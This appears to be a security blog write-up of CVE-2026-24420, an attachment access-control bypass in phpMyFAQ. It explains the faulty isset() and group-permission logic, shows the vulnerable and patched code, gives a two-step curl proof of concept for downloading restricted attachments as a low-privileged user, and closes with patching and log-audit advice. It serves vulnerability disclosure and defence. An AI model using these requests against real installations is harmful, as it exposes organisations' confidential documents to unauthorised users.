CVE-2026-24420: When `isset()` Becomes a Backdoor in phpMyFAQ

phpMyFAQ is the bread and butter of internal knowledge management. It stores everything from "How to reset your password" to "Network Architecture Diagrams" and "HR Disciplinary Procedures." Naturally, administrators rely on its permission system to ensure that the intern, Dave, can't read the executive salary breakdown attached to a finance FAQ.

But security is only as strong as its weakest conditional check. CVE-2026-24420 is a stark reminder that in the world of PHP, asking "Does this variable exist?" is a very different question from "Is this variable true?" This vulnerability turns the application's access control model into a suggestion rather than a rule, allowing restricted users to loot attachments with trivial ease.

The vulnerability stems from two distinct failures in attachment.php that combine to form a perfect storm of incompetence. The first is a classic PHP footgun: the misuse of isset(). The developers tried to verify if a user had the dlattachment (download attachment) permission. However, they checked isset($permission['dlattachment']).

Here lies the rub: in the permission array, the key dlattachment almost always exists. If a user is denied access, the value is set to 0 or false. But isset(false) returns true because the variable is set. It's like checking if a door exists before walking through it, rather than checking if it's locked.

The second failure is a violation of the Absorption Law in Boolean algebra. The code used logic resembling (Group || (Group && User)). If you passed Math 101, you know that A + AB simplifies to just A. This meant that if a user belonged to a group with download rights, the system completely ignored any specific restrictions placed on that individual user. The code effectively decided that the group's rights were the only thing that mattered, rendering granular user controls useless.

Let's look at the vulnerable code found in attachment.php. This snippet is a masterclass in how not to do access control:

// The Vulnerable Logic
if (($groupPermission || ($groupPermission && $userPermission)) && isset($permission['dlattachment'])) {
    // Come on in, the water's fine!
    $download = true;
}

See that isset() at the end? That is the kill switch for security. Even if $permission['dlattachment'] is explicitly false (meaning "ACCESS DENIED"), isset() evaluates to true. Combined with the redundant grouping logic, the gate flies open.

The fix, introduced in v3.2.14, forces the application to actually check the value of the permission, not just its existence:

// The Patched Logic
if (($groupPermission && $userPermission) && 
    !empty($permission['dlattachment']) && 
    $permission['dlattachment'] === true) {
    // Actually secure
}

The patch also fixes the grouping logic. Now, both the group AND the user context must align, and the permission must be strictly true.

Exploiting this requires zero fancy tools. You don't need to overflow a buffer or manipulate heap chunks. You just need a valid login and curl. Since the isset() check fails open, any authenticated user—even one with the "Download Attachments" box unchecked—can grab files.

Here is the attack flow. First, we authenticate as a low-privileged user (Dave the Intern):

# Step 1: Login to get the session cookie
curl -c cookies.txt \
  -H 'Content-Type: application/json' \
  -d '{"username":"dave","password":"password123"}' \
  http://target.local/phpmyfaq/api/v3.0/login

Once we have our session, we simply request the attachment directly by ID. The application sees our valid session, sees the dlattachment key exists in our permissions array (even though it's false), and serves the file:

# Step 2: Download the sensitive attachment (ID 1)
curl -i -b cookies.txt \
  -o secret_salary_data.pdf \
  "http://target.local/phpmyfaq/index.php?action=attachment&id=1"

If the server returns a 200 OK and binary data instead of a 403 Forbidden, you've successfully bypassed the access control.

While "FAQ" sounds benign, the data stored in these systems often isn't. Organizations use tools like phpMyFAQ to document internal processes, which frequently involve sensitive attachments: network topology maps, VPN configurations, credential dumps for testing environments, or confidential HR documents.

Because this vulnerability is an authenticated bypass, it is particularly dangerous in Insider Threat scenarios. It allows a disgruntled employee or a compromised low-level account to silently scrape the entire repository of attachments without triggering typical "access denied" alarms in the logs, effectively turning the knowledge base into an open file server.

The remediation is straightforward: stop using the vulnerable logic. The vendor released phpMyFAQ v3.2.14 (and similar patches for v4.x) to address this.

If you cannot upgrade immediately, your only real mitigation is to disable attachments globally in the configuration (records.allowDownloadsForGuests is irrelevant here since we are authenticated). However, given the trivial nature of the exploit, applying the patch manually to attachment.php is feasible for competent sysadmins.

> [!NOTE] > After patching, audit your access logs for requests to action=attachment. If you see a high volume of downloads from a single user who shouldn't be accessing those IDs, you might have already been scraped.